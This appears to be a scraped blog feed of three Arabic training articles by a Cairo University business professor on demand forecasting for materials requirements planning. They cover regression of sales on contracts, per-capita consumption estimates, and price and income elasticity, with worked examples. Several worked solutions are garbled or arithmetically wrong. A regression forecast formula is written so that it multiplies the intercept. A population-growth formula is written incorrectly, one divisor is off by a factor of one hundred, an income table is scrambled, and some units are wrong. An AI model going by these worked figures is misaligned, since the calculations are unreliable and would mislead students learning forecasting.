 يعتقد مدير تخطيط الإنتاج في إحدى الشركات الصناعية والتي تقدم خدمات هندسية لشركات رصف الطرق أن هناك علاقة وثيقة بين الطلب على خدمات شركته وحجم عقود الإنشاء المتعاقد عليها في المنطقة الجغرافية التي يوجد بها المصنع . ويتساءل مدير تخطيط الإنتاج عن مدى صحة فرض وجود مثل هذه العلاقة ، فإذا كانت هناك علاقة فعلا فإن ذلك سيكون مفيدا بالنسبة له في تخطيط عملياته بشكل أفضل في المستقبل . وقد قام السيد مدير التخطيط بتكليف مرؤوسيه بتجميع بيانات عن العقود التي أبرمت في السنتين الماضيتين وأيضا حجم مبيعاته لنفس الفترة بحيث أن يكون التجميع على أساس ربع سنوي .

 

     هل يمكن أن تساعد السيد مدير تخطيط الإنتاج في تقدير مبيعاته المتوقعة خلال العام القادم إذا قدمت إليك البيانات التالية  :

 

 

 

 

 

السنة  

ربع السنة

  

المبيعات ( ألف دولار)

 العقود (ألف دولار)
الأولــــى ربع 1 8 150
ربع 2 10 170
ربع 3 15 190
ربع  4 9 170
الثــانيــة ربع 1 12 180
ربع  2 13 190
ربع 3 12 200
ربع  4 16 220

 

الحــــــل 

 

   ( 1)  إعداد جدول حساب ثوابت معادلة الانحدار ( أ ، ب )

 

الفترة المبيعات (ص) العقود (س) س2 س ص ص2
1 8 150 22.500 1.200 64
2 10 170 28.900 1.700 100
3 15 190 36.100 2.850 225
4 9 170 28.900 1.530 81
5 12 180 32.400 2.160 144
6 13 190 36.100 2.470 169
7 12 200 40.000 2.400 144
8 16 220 48.400 3.520 256
المجموع 95 1.470 27.3.300 17.830 1.183

 

 

(2) قيم متغيرات المعادلتين ( 2 ، 3 )

     مجـ ص    = 95

    مجـ س     = 1.470

   مجـ س2   = 273.300

   مجـ س ص  = 17.830

   مجـ ص2   =  1.183

    ن         =  8 

(3 )   إيجاد قيم ثوابت معادلة الانحدار ( أ ، ب ) 

        مجـ س2 مجـ ص  – مجـ س مجـ س ص

أ   =    ________________________

            ن مجـ س2 – ( مجـ س )2

 

 

={[(273.300 × 95 )  – ( 1.470 × 17.830 )] /[( 8 × 273.300 ) – ( 1.470 )2]}

=[(25963500  –  26210100 ) / (2186400 – 2160900)]

 

              = [(- 246600 ) / 25500] =  – 9.6710

 

              ن مجـ س ص – مجـ س مجـ ص

ب   =     ___________________

                ن مجـ س2 – ( مجـ س )2 

 

            =       {[ ( 8 × 17830 ) – ( 1470 × 95 )] /25500}

             [(142640 – 139650  ) / (25500 ) ]

   =   ( 2990 /  25500 ) =  0.1173

               

  • تكوين معادلة الانحدار ص = أ + ب

      ص  =  – 9.671  + 0.1173 س 

  • بعد تكوين معادلة الانحدار يجب أن يتم معرفة قيم المتغير المستقل للسنة المطلوب التنبؤ بالمبيعات بالنسبة لها . وفى التطبيق السابق وجد مدير تخطيط الإنتاج أن العقود خلال السنة المقبلة ستكون بالوضع التالي :

الفترة الزمنية (ربع سنة )                               العقود بالألف دولار

الربع الأول                                                      260

الربع الثاني                                                     290

الربع الثالث                                                     300

الربع الرابع                                                     270

 

  • التنبؤ بالمبيعات خلال السنة القادمة :

     فى هذه الحالة يتم التقدير لكل ربع سنة كما يلي :

ص  = -9.671 + 1173,  س

المبيعات المقدرة للربع الأول  =( – 9.671  +  1137,  )× 260

                                 = 20.827 دولار

المبيعات المقدرة للربع الثاني   = (9.671 + 1137,  )× 290

                               =  24.346 دولار .

المبيعات المقدرة للربع الثالث  = (9.671  + 0.1173 )× 300

                                   =  25.519 دولار .

   المبيعات المقدرة للربع الرابع =( 9.671 + 0.1173 )× 270

                                        = 22دولار .

وتكون المبيعات المقدرة للسنة = إجمالي المبيعات المقدرة خلال السنة

                                = 20.827 + 24.346 + 25.519 + 22

                                =92.7  ..

  • ولتقييم مدى قوة العلاقة بين المبيعات المقدرة وقيمة العقود يتم حساب

                أ– معامل الارتباط . (ر)

                ب- معامل التحديد . (ر2)

  • حساب معامل الارتباط ر

     بالتعويض في المعادلة الخاصة بمعامل الارتباط نجد أنه يساوى 0.894

ب – حساب معامل التحديد = (ر2)

= 0.894 × 0.894

=  0.799

     وبناء على ذلك يمكن القول أن قيمة العقود تفسر 80% (ر2= 0.799)

من التذبذب المشاهد في الطلب الربع سنوي بالنسبة لمبيعات الشركة .

     وجدير بالذكر أن معامل الارتباط يفسر الأهمية النسبية للارتباط بين المتغيرالتابع (ص) والمتغير المستقل (س) . ويتراوح هذا المعامل فيما بين 1 ، -1 .

وفي حالة ما إذا كان معامل الارتباط (-1) فإنه يعني علاقة ارتباط تام سليمة بين المتغيرين ، أي أن الزيادة في أحدهما يترتب عليها نقص مساوي قي الآخر .

وفي حالة ما إذا كان معامل الارتباط (1) فإنه يعنى ارتباط تام موجب بين المتغيرين بمعنى أن زيادة أحد المتغيرين يترتب عليه زيادة مساوية في المتغير الثاني . وفي حالة معامل الارتباط يساوى صفر فإنه يعنى عدم وجود أي علاقة بين المتغيرين التابع والمستقل .

     وعلى الرغم من فائدة استخدام معامل الارتباط في الحكم على قوة العلاقة بين المتغيرات التابعة والمستقلة ، إلا أن التعبير عن هذه العلاقة بأنها قوية أو متوسطة أو ضعيفة لا يعتبر مقياس محدد القياس للعلاقة بين المتغيرات التابعة والمستقلة .

     ولذلك يتم الاعتماد على معامل التحديد (ر2) للقياس الدقيق لهذه العلاقة . ومعامل التحديد هو عبارة عن مربع معامل الارتباط ، وباستخدام معامل التحديد يتم التحول من القياس الوصفي إلي القياس الكمي للعلاقة بين المتغير التابع والمتغير المستقل . وبمعنى آخر فإن معامل التحديد يقيس النسبة المئوية للتغير فى المتغير التابع نتيجة التغير في المتغير المستقل .

*   *   *

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمى تخطيط الإحتياجات من المواد

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/material_requirements_planning-3/feed/ 0 سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الثانية https://cameknowledge.camecenter.com/articles/%d8%b3%d9%84%d8%b3%d9%84%d8%a9-%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa-%d8%aa%d8%ae%d8%b7%d9%8a%d8%b7-%d8%a7%d9%84%d8%a5%d8%ad%d8%aa%d9%8a%d8%a7%d8%ac%d8%a7%d8%aa-%d9%85%d9%86-%d8%a7%d9%84%d9%85%d9%88/ https://cameknowledge.camecenter.com/articles/%d8%b3%d9%84%d8%b3%d9%84%d8%a9-%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa-%d8%aa%d8%ae%d8%b7%d9%8a%d8%b7-%d8%a7%d9%84%d8%a5%d8%ad%d8%aa%d9%8a%d8%a7%d8%ac%d8%a7%d8%aa-%d9%85%d9%86-%d8%a7%d9%84%d9%85%d9%88/#respond Wed, 05 Apr 2023 15:27:43 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10388 سلسلة مقالات – تخطيط الإحتياجات من المواد بقلم أ. د / صبرى شحاتة المقالة الثانية إستقصاء العملاء      وهنا يتم الحصول على تقدير المبيعات مباشرة من العملاء ، ويتم ذلك عن طريق استقصاء العملاء لمعرفة الكمية التي ينوون شراءها من منتجات الشركة في المستقبل . ويتم الحصول على تقدير إجمالي للمبيعات عن طريق دمج التقديرات […]

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط الإحتياجات من المواد

بقلم أ. د / صبرى شحاتة

المقالة الثانية

إستقصاء العملاء

     وهنا يتم الحصول على تقدير المبيعات مباشرة من العملاء ، ويتم ذلك عن طريق استقصاء العملاء لمعرفة الكمية التي ينوون شراءها من منتجات الشركة في المستقبل . ويتم الحصول على تقدير إجمالي للمبيعات عن طريق دمج التقديرات الفردية للعملاء . وغالبا ما تصلح هذه الطريقة بالنسبة للشركات التي لها عدد محدود من العملاء – أو تتعامل أساسا مع المشترين الصناعيين .

الطرق الكمية المستخدمة في تقدير حجم الطلب

Quantitative forecasting Methods

     على الرغم من تعدد الطرق الكمية المستخدمة فى تقدير حجم الطلب على منتجات الشركة ، بحيث تناسب كل طريقة منها أو أكثر ظروف معينة ( وقت معين ، بيانات معينة، صناعة معينة ) إلا أننا سنركز في هذا الجزء على بعض من تلك الطرق هي:-

أولاً:  تقدير حجم الطلب على منتجات الشركة على أساس متوسط                      استهلاك الفرد منها 0

ثانيا: تقدير حجم الطلب على منتجات الشركة باستخدام المرونات                     السعرية و الداخلية 0

ثالثا:  تقدير حجم الطلب على منتجات الشركة باستخدام أسلوب السلاسل                    الزمنية 0

رابعا: تقدير حجم الطلب على منتجات الشركة  باستخدام أسلوب تحليل                     الانحدار 0

 

أولاً: تقدير حجم الطلب على منتجات الشركة على أساس متوسط استهلاك  الفرد منها 0

     تقوم هذه الطريقة على تجميع بيانات الاستهلاك الفعلي لأفراد المجتمع من المنتج أو المنتجات محل الدراسة وذلك خلال السنة أو السنوات السابقة للفترة (السنة) المراد التنبؤ بحجم الطلب عنها ، وكذلك تجميع بيانات عن أعداد السكان المرتبطة بالفترة السابقة ، ثم استخراج متوسط استهلاك الفرد من كل منتج من المنتجات باستخدام المعادلة التالية :

    متوسط إستهلاك الفرد من منتج معين

                   = إجمالي الاستهلاك الفعلي من هذا المنتج في سنة معينة

                      ÷ عدد السكان في نفس السنة .

     وتتمثل أهم الصعوبات التي تواجه عملية استخراج متوسط استهلاك الفرد من منتج معين في عدم توافر البيانات الكاملة والدقيقة عن حجم الاستهلاك الفعلي منه ، ولذلك يتم التغلب على تلك الصعوبة من خلال الاستعانة بالبيانات المتوفرة عن حجم الاستهلاك الظاهري من منتج معين في فترة زمنية معينة باستخدام المعادلة التالية :

     حجم الاستهلاك الظاهري من منتج معين خلال فترة زمنية معينة

= ( حجم الإنتاج المحلى من المنتج في الفترة الزمنية المعينة + الواردات 

من نفس المنتج في الفترة الزمنية المعينة ) – الصادرات من هذا

المنتج في نفس الفترة المحددة

 

ويلاحظ على المعادلة السابقة ما يلي :

– أنه يفترض عدم وجود مخزون أول الفترة من هذا المنتج0

– أنه يفترض عدم وجود مخزون أخر المدة أو مخزون أمان من هذا المنتج0

 

     وبفرض أخذ مخزون أول المدة في الحسبان عند حساب حجم الاستهلاك الظاهري لأفراد المجتمع من منتج معين ، فإن المعادلة السابقة تأخذ الشكل التالي : 

      حجم الاستهلاك الظاهري لمنتج معين خلال فترة زمنية معينة ماضية :

= ( مخزون أول الفترة من المنتج +حجم الإنتاج المحلى من المنتج +

      الواردات من نفس المنتج ) – الصادرات من المنتج 0

     وبفرض أنه يوجد مخزون أخر الفترة من هذا المنتج فلا بد من أخذ ذلك في الحسبان عند إيجاد حجم الاستهلاك الظاهري منه ، وعليه تأخذ المعادلة الشكل التالي:-

          حجم الاستهلاك الظاهري من منتج معين خلال فترة زمنية معينة ماضية :

= ( مخزون أول الفترة من المنتج + حجم الإنتاج المحلى من المنتج +

الواردات من نفس المنتج ) – ( الصادرات من المنتج + مخزون أخر

   الفترة من المنتج ) .

     بعد حساب متوسط استهلاك الفرد من المنتج أو المنتجات محل الدراسة سواء أكان ذلك قد تم في ضوء بيانات الاستهلاك الفعلي أو بالاستعانة بالبيانات المتوفرة عن حجم الاستهلاك الظاهري يتم تقدير العدد المتوقع للسكان خلال الفترة التي يتم تقدير حجم الطلب عنها وذلك بالاستعانة بالبيانات المتوفرة عن عدد السكان في الفترة أو الفترات السابقة ، ومعدلات النمو السائدة في عدد السكان في المجتمع ، وذلك باستخدام المعادلة التالية :

 عدد سكان المجتمع خلال فترة زمنية مقبلة

  = عدد السكان في الفترة الزمنية السابقة + مقدار الزيادة المتوقعة في عدد السكان في الفترة المقبلة .

     ويتم حساب مقدار الزيادة المتوقعة في عدد السكان خلال فترة زمنية مقبلة من المعادلة التالية :-

     الزيادة المتوقعة في عدد السكان خلال فترة زمنية مقبلة في دولة ما :

                = عدد السكان في الفترة الزمنية السابقة مباشرة × معدل النمو في عدد السكان السائد في تلك الدولة .

     وبعد حساب كل من متوسط استهلاك الفرد من المنتج أو المنتجات محل الدراسة وتقدير عدد سكان المجتمع خلال الفترة الزمنية التي يتم عنها تقدير حجم الطالب . فإنه يصبح بالإمكان حساب حجم الطلب المتوقع باستخدام المعادلة التالية :

     حجم الطلب المتوقع من منتج معين خلال فترة زمنية مقبلة :

 = عدد سكان المجتمع في الفترة الزمنية المقبلة × متوسط إستهلاك الفرد من المنتج

                                                

    عدد سكان المجتمع خلال فترة زمنية مقبلة

= عدد السكان في الفترة الزمنية السابقة + مقدار الزيادة المتوقعة في عدد

                    السكان في الفترة المقبلة .

 

     ويتم حساب مقدار الزيادة المتوقعة في عدد السكان خلال فترة زمنية مقبلة من المعادلة التالية :

الزيادة المتوقعة في عدد السكان خلال فترة زمنية مقبلة في دولة ما :

      = عدد السكان في الفترة الزمنية السابقة مباشرة × معدل النمو في عدد السكان السائد في تلك الدولة .

 

     وبعد حساب كل من متوسط استهلاك الفرد من المنتج أو المنتجات محل الدراسة وتقدير عدد سكان المجتمع خلال الفترة الزمنية آلتي يتم عنها تقدير حجم الطلب ، فإنه يصبح بالإمكان حساب حجم الطلب المتوقع باستخدام المعادلة التالية :

حجم الطلب المتوقع من منتج معين خلال فترة زمنية مقبلة :

= عدد سكان المجتمع في الفترة الزمنية المقبلة × متوسط استهلاك الفرد من المنتج .

 تطبيقات محلوله :

 التطبيق الأول :

=========

     المطلوب تقدير حجم الطلب المتوقع من الدجاج المجمد لعامي 2014م ، 2015م، بفرض أنه توفرت لديك البيانات التالية :

         – عدد السكان مستهلكي الدجاج المجمد عام 2013م           20 مليون نسمة.

         – حجم الإنتاج المحلى من الدجاج المجمد عام 2013م          2 مليون طن .

         – حجم الواردات من الدجاج المجمد عام 2013م                1 مليون طن .

         – حجم الصادرات من الدجاج المجمد عام 2013م                5, مليون طن .

         – معدل النمو السنوي في السكان  2% .

 

الحــــــــل

1- حساب حجم الاستهلاك من الدجاج المجمد عام 2013م ـ .

———————————

     حجم الاستهلاك من الدجاج المجمد عام 2013م ـ

           = (الإنتاج المحلى + الواردات ) – الصادرات

      = ( 2000000  +    1000000 ) -500000

     = 3000000 – 500000 = 5, 2 مليون طن .

 

2- حساب متوسط استهلاك الفرد من الدجاج المجمد عام 2013م ـ

———————————————————–

 

                                 حجم الاستهلاك من الدجاج المجمد عام 2013م  

متوسط استهلاك الفرد    =   ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

                                        عـدد السكان عام 2013م

                                   5, 2 مليون طن

                             = ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

                                   20 مليون نسمة

 

                          = 2500000000 ÷ 20000000 = 125 كجم

                          = 125, طن .

 

3- حساب عدد السكان عام 2014م

———————-

     عدد السكان عام 2014

= عدد السكان عام 2013 + مقدار الزيادة المتوقعة في عدد السكان عام 2014                                                    

= [(20000000 + 20000000 ) × (2/100 ) ]                                                                          

                   = 20000000 + 400000 = 20400000 نسمة

 

     عدد السكان عام 2015م

                 = [(20400000 + 20400000 )×  (2/100)]

                                                           

                = 20400000 + 408000 = 20808000 نسمة

 

حساب حجم الطلب المتوقع من الدجاج المجمد :

     حجم الطلب المتوقع من المنتج ص في عام 2014

                  = عدد السكان في 2014 × متوسط استهلاك الفرد                         

                  = 20400000 × 125 = 2550000 طن .

حجم الطلب المتوقع من الدجاج المجمد في عام 2015

                  = 20808000 × 125 = 2601000 طن .

 

التطبيق الثاني

========

     في التطبيق الأول بفرض أنه أضيفت البيانات التالية :

– مخزون أول عام 2013م       مليون طن .

  • مخزون آخر عام 2013م يقدر بـ 25% من الإنتاج المحلى .

 

المطلوب :

——

     تقدير حجم الطلب المتوقع من الدجاج المجمد عامي 2014 ، 2015 ـ ؟.

 

الحــــــل

     في حالة وجود مخزون سلعي أول وآخر المدة من المنتج ، يتم حساب حجم الاستهلاك الظاهري من المعادلة التالية :

    حجم الاستهلاك الظاهري من المنتج

                    = ( الإنتاج المحلى + الواردات + مخزون أول المدة )

                                   – ( الصادرات + مخزون آخر المدة )

وعليه فإن :

حجم الاستهلاك الظاهري من الدجاج المجمد عام 2013م

                    = ( 2000000 + 1000000 + 1000000 )

                         – ( 500000 + 500000 )

                    =  4000000 – 1000000 = 3000000 طن .

 

      متوسط استهلاك الفرد من الدجاج المجمد عام 2013م

                     (3000000 / 200000)

= 0.15 طن

 

.: حجم الطلب المتوقع من الدجاج المجمد عام 2014م

                       = عدد السكان عام 2014م × متوسط استهلاك الفرد

                       =20400000 × 0.15  = 3060000 طن .

 

حجم الطلب المتوقع من الدجاج المجمد عام 2015م

                      = 20808000 × 0.15 = 3121200 طن .

 

ثانيا : تقدير حجم الطلب على منتجات المنظمة باستخدام المرونات السعرية والداخلية .

أ- المرونة السعرية :

    يقصد بالمرونة السعرية مدى التغير في الطلب على منتج ما ما نتيجة التغير في السعر وتقوم هذه الطريقة في التنبؤ بالطلب على افتراض ثبات معامل المرونة السعرية فترة زمنية ماضية وفترة زمنية مقبلة،وبمعلومية السعر المتوقع للمنتج في الفترة المقبلة يمكن تقدير حجم الطلب عليه ويتم تقدير حجم الطلب باستخدام هذه الطريقة طبقا للخطوات التالية :

1- حساب معامل المرونة السعرية 

——————————–

  • معامل المرونة السعرية    

   

                       التغير النسبي في الطلب على المنتج

            =        ______________________

                             التغير النسبي في السعر

                  

 

            الطلب الجديد  – الطلب الأصلي                                  السعر الجديد – السعر الأصلي                          =     ______________          ÷          __________________                      

                 الطلب الأصلي                                                   السعر الأصلي

    

ومن هذه الخطوات يتم الحصول على قيمة معامل المرونة                   

 

2- تقدير حجم الطلب على المنتج محل الدراسة :

—————————-

معامل المرونة السعرية

 

   الطلب الجديد  –  الطلب الأصلي         السعر الجديد -السعر الأصلي                        =  __________________       ÷   ____________________                                  

           الطلب الأصلي                                  السعر الأصلي

        

وفي هذه الخطوة تكون جميع البيانات معلومة ما عدا الطلب الجديد فيتم حسابه .

 ب- المرونة الداخلية

————

     تشير المرونة الداخلية إلى مدى المتغير فى الطلب على منتج ما نتيجة التغير فى دخول المستهلكين .

     وتقوم هذه الطريقة من طرق التنبؤ بالطلب على إفتراض ثبات معامل المرونة الداخلية بين فترة زمنية ماضية وفترة زمنية مقبلة، وبمعلومية حجم الدخل المخصص للإنفاق خلال الفترة المقبلة يمكن تقدير حجم الطلب على المنتج أو المنتجات محل الدراسة ويتم تقدير حجم الطلب باستخدام هذه الطريقة طبقا للخطوات التالية :

1- حساب معامل المرونة الداخلية

——————–

     معامل المرونة الداخلية

                          التغير النسبي في الطلب على المنتج

                =      _____________________  

                                التغير النسبي في الدخل     

                 

  الطلب الجديد – الطلب الأصلي          الدخل الجديد-الدخل الأصلي                                                                                                 = __________________     ÷     ___________________

                  الطلب الأصلي                             الدخل الأصلي

 

2- تقدير حجم الطلب على المنتج محل الدراسة

———————————————

       معامل المرونة الداخلية   

 

      الطلب الجديد – الطلب الأصلي          الدخل الجديد-الدخل الأصلي             =  _____________________‎‎‎‎  ÷   ___________________ 

                     الطلب الأصلي                          الدخل الأصلي

 

     وهنا تكون جميع البيانات معلومة ماعدا الطلب الجديد فيتم حسابه .

تطبيقات محلوله :ــــــ

التطبيق الأول :

=========

     بفرض أنه توفرت لديك البيانات التالية :

     السنوات       سعر الوحدة من المنتج ( أ ) $    الطلب على المنتج ( أ ) بالطن

     2012                        10                                  5000

     2013                        12                                  4000

     2014                        15                                     س

     2015                        20                                     س

 

المطلوب :

     استخدام معامل المرونة السعرية بين عامي 2012م ، 2013م في تقدير حجم الطلب على المنتج ( أ ) عامي 2014م ، 2015م  ؟ .

الحـــــل

معامل المرونة السعرية

   الطلب الجديد – الطلب الأصلي                           السعر الجديد – السعر الأصلي             

=    ___________________         ÷       ____________________                                                                                                                                                                                                                       السعر الأصلي                                                 الطلب الأصلي                   

 

معامل المرونة السعرية 

                          [ (4000  – 5000)/5000 ]   ÷ [ (12 – 10)/10]

 

                                 ( – 1000 / 5000 ) × (10 / 2 ) =( -1 )

 

ملحوظة : يلاحظ أن معامل المرونة يساوى الواحد الصحيح وفى هذه الحالة يكون الطلب متكافئ المرونة.

 

لتقدير حجم الطلب المتوقع عام 2014

معامل المرونة السعرية بين 2012 ، 2013 =

   

   الطلب عام 13 – الطلب عام 12         السعر الجديد – السعر الأصلى

  =   ــــــــــــــــــــــــــــــــــــ   ÷           ـــــــــــــــــــــــــــــــــــــــ            

             الطلب عام 12                             السعر الأصلى

 -1  = [( س – 4000 ) /4000 ] ÷   [ ( 15 – 12 ) /12 ]

-1 = [ ( س – 4000 ) / 4000 ] ÷  [ 1/4 ]

-1 =   [ ( س  –  4000) /4000 ]× [ 4/1 ]

-1 = [ ( س – 4000)/1000]

إذاً  ( س – 4000 = -1000)

إذاً   ( س 4000 – 1000 )

إذاً حجم الطلب المتوقع عام 2014م  = 3000 طن

و بنفس الخطوات السابقة يمكن تقدير حجم الطلب على المنتج أ عام 2015م

 

-1 = [ (س –  3000 )/3000]    ÷    [( 20 – 15 )/ 15]

    =[( س – 3000 )/3000] × [ 15/5]

-1 = [ ( س -3000 /1000]

       ( س – 3000 ) =  (- 1000)

إذاً حجم الطلب على عام 2015م = 3000 – 1000

               (س)               = 2000 طن

 

التطبيق االثاني:

=========

     بفرض أنه توفرت لديك البيانات التالية :                

السنوات         الدخل بالمليون $              الطلب على الدواجن المجمدة بالمليون طن

    20               2011                             5000

     25              2012                             7500

       س             2013                             9000                                             

المطلوب : تقدير حجم الطلب المتوقع على الدواجن المجمدة عام 2014 إذا علمت أن معدل الإنفاق الخاص 80 %

الحــــل

1 :حساب الجزء من الدخل الموجه للإنفاق

إجمالي الإنفاق الخاص عام 2011 = 5000 × 80 % =000 4 مليون

إجمالي الإنفاق الخاص عام 2012 = 7500 × 80% = 6000 مليون

إجمالي الإنفاق الخاص عام 2013 = 9000 × 80 % = 7200 مليون

 

2 : معامل المرونة الداخلية بين عام 11، 2012                        

                 الطلب الجديد – الأصلي            الدخل الجديد – الأصلي      

             =________________    ÷    _________________

                      الطلب الأصلي                     الدخل الأصلي

 

                =  [ ( 25 – 20 )/ 20]  ÷  [ (6000  – 4000 /4000]                                            

            ( 5/20) × ( 4000/ 2000) = 0.5

 

3 :تقدير حجم الطلب عام 2014 (بفرض ثبات معامل المرونة الداخلية)

معامل المرونة الداخلية بين عامي 13، 2014

=  [(س – 25 / 25  ] ÷  [ (7200 – 6000 ) /6000 ]                                                                            

5,  = [ (س – 25 )/25] ÷[  1 / 5 ]  

[1/2]=[( س – 25 ) / 5]× [ 1 /1 ]

[1/2 ] = [ (  س  –  25) /5 ]

(2 س )- 50  = 5

2س =( 5 + 50)

2س = 55

 

إذاً س ( حجم الطلب المتوقع من الدواجن المجمدة عام 2014 )

= ( 55 /2)    =  5, 27 مليون ثوب     

*   *   *

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمى تخطيط الإحتياجات من المواد

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/%d8%b3%d9%84%d8%b3%d9%84%d8%a9-%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa-%d8%aa%d8%ae%d8%b7%d9%8a%d8%b7-%d8%a7%d9%84%d8%a5%d8%ad%d8%aa%d9%8a%d8%a7%d8%ac%d8%a7%d8%aa-%d9%85%d9%86-%d8%a7%d9%84%d9%85%d9%88/feed/ 0 سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الأولى https://cameknowledge.camecenter.com/articles/material_requirements_planning-1/ https://cameknowledge.camecenter.com/articles/material_requirements_planning-1/#respond Wed, 05 Apr 2023 15:13:06 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10385 سلسلة مقالات – تخطيط الإحتياجات من المواد بقلم أ. د / صبرى شحاتة المقالة الأولى أهداف المقالة: ضرورة التنبؤ بالمبيعات في مجال تخطيط الإنتاج . طرق تقدير حجم الطلب على منتجات الشركة : التنبؤ بالمبيعات ، والتنبؤ بالسوق . المبيعات المرتقبة ، والسوق المرتقبة . الطرق الوصفية المستخدمة فى تقدير حجم الطلب . الطرق الكمية […]

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط الإحتياجات من المواد

بقلم أ. د / صبرى شحاتة

المقالة الأولى

أهداف المقالة:

  • ضرورة التنبؤ بالمبيعات في مجال تخطيط الإنتاج .
  • طرق تقدير حجم الطلب على منتجات الشركة :
  • التنبؤ بالمبيعات ، والتنبؤ بالسوق .
  • المبيعات المرتقبة ، والسوق المرتقبة .
  • الطرق الوصفية المستخدمة فى تقدير حجم الطلب .
  • الطرق الكمية المستخدمة فى تقدير حجم الطلب .
  • حالات عملية .

 

ضرورة التنبؤ بالمبيعات في مجال تخطيط الإنتاج :

============================

     هناك العديد من الأسباب التي تجعل من التنبؤ بالمبيعات في مجال تخطيط الإنتاج بالوطنية للدواجن ضرورة لابد منها ومن هذه الأسباب  :-

  • التخطيط للتسهيلات الإنتاجية الجديدة :

     إن التخطيط لإضافة تسهيلات إنتاجية جديدة (عنابر لإنتاج الدواجن بأنواعها ) يترتب عليها زيادة الطاقة الإنتاجية  وفي نفس الوقت تغيير في هيكل تكلفة الإنتاج. أن الصعوبة هنا تكمن في أن العملية من الممكن أن تأخذ وقتا طويلا قد يصل إلى خمس سنوات حتى يتم تصميم وبناء مجموعة من العنابر الجديدة ، أو تطبيق عمليات إنتاجية جديدة .

     أن هذه الأنشطة والتي تمثل أنشطة استراتيجية في مجال تخطيط الإنتاج تتطلب ضرورة إعداد تنبؤات وتقديرات طويلة الأجل سواء للمنتجات الحالية أو المنتجات الجديدة وذلك حتى يمكن لمدير الإنتاج أن يكون لديه الوقت المتاح لبناء العنابر أو المجازر أو إجراء التركيبات لتغيير نظام العمليات بالعنابر والمجزر الحالي …..

  • تخطيط الإنتاج :

     أن الطلب على المنتجات التي تقدمها الوطنية للدواجن قد يتذبذب من وقت لآخر . ويستتبع ذلك أن يتم تعديل معدلات الإنتاج لتتواءم مع التذبذب في الطلب . غير أن المشكلة التي تواجه مدير الإنتاج في هذه الحالة هي أن تعديل معدلات الإنتاج قد يأخذ وقتا طويلا حتى يتمكن مدير الإنتاج من تغيير طاقات عمليات الإنتاج الحالية .

     وعلى ذلك فإن مدير الإنتاج يحتاج إلى تنبؤات متوسطة وقصيرة الأجل حتى يكون لديه الوقت المتاح والذي يمكنه من تعديل طاقته الإنتاجية لمقابلة التغير في الطلب من وقت لآخر .

3- جدولة استخدام قوة العمل :

     إذا كانت هناك حاجة إلى تنبؤات طويلة الأجل عند تخطيط التسهيلات الإنتاجية وتنبؤات متوسطة إلى قصيرة الأجل عند تخطيط برامج الإنتاج ، فإنه يلزم توافر تنبؤات قصيرة الأجل عند تخطيط برامج الإنتاج ، فإنه  يلزم توافر تنبؤات قصيرة الأجل نسبيا حتى يمكن استخدام قوة العمل المتاحة بكفاءة .

   إن تأثير تغير الطلب على قوة العمل يترتب عليه لجوء مدير الإنتاج إلى ثلاث بدائل رئيسية :

  • العمل لوقت إضافي
  • الاستغناء عن بعض العمال .
  • التعيين المؤقت لبعض العمال .

إن اللجوء إلى أي بديل من هذه البدائل يتطلب وقتا فيما بين معرفة الحاجة إليه وبين الاستخدام الفعلي للبديل ، هذا الوقت لا يتاح إلا عن طريق التنبؤ .

 

4-التخطيط المالي  :

     تمثل إدارة الإنتاج إحدى مكونات النظام الشامل للمنظمة والتي تهدف إلى الربح في حالة الوحدة الاقتصادية أو حسن استغلال الموارد وتخفيض التكلفة في حالة المنظمة الخدمية .

   ولذلك فإن مدير الإنتاج عليه أن يراعى تناسب أداؤه كمصدر للتكلفة وبين المبيعات المحققة كمخرجات لنظامه الإنتاجي كمصدر للإيرادات . إن هذا يحتم على مدير الإنتاج أن يأخذ بعين الاعتبار الأداء المالي للأقسام الإنتاجية .

